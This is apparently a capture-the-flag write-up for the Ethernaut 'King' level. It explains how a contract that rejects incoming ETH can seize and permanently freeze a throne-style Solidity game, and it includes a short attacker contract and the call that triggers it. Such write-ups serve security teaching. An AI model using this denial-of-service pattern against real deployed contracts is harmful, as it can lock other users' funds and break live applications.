Writeups/Ethernaut/King
EasyEthernaut · Ethernaut2024

King

Denial of Service via Reverting Recipient

The `King` contract transfers ETH to the previous king when a new king claims the throne. Deploying a contract that always reverts on ETH receipt and making it king permanently blocks subsequent `receive()` calls, freezing the game.

SolidityDoSReentrancy-adjacentForced Revert

00Overview

The `King` contract transfers ETH to the previous king when a new king claims the throne. Deploying a contract that always reverts on ETH receipt and making it king permanently blocks subsequent `receive()` calls, freezing the game.

01Deploy a contract that reverts on ETH receipt

javascript
contract KingAttack {
    // No receive() or fallback — all ETH sends revert
    function attack(address target) external payable {
        (bool ok,) = target.call{value: msg.value}("");
        require(ok);
    }
}

02Become king via the attack contract

Send enough ETH to become king. Now the contract (which reverts) is king and can never be dethroned.

javascript
attack.attack{value: toWei("0.001")}(instance)

03Level Completed

King — completion screenshot 1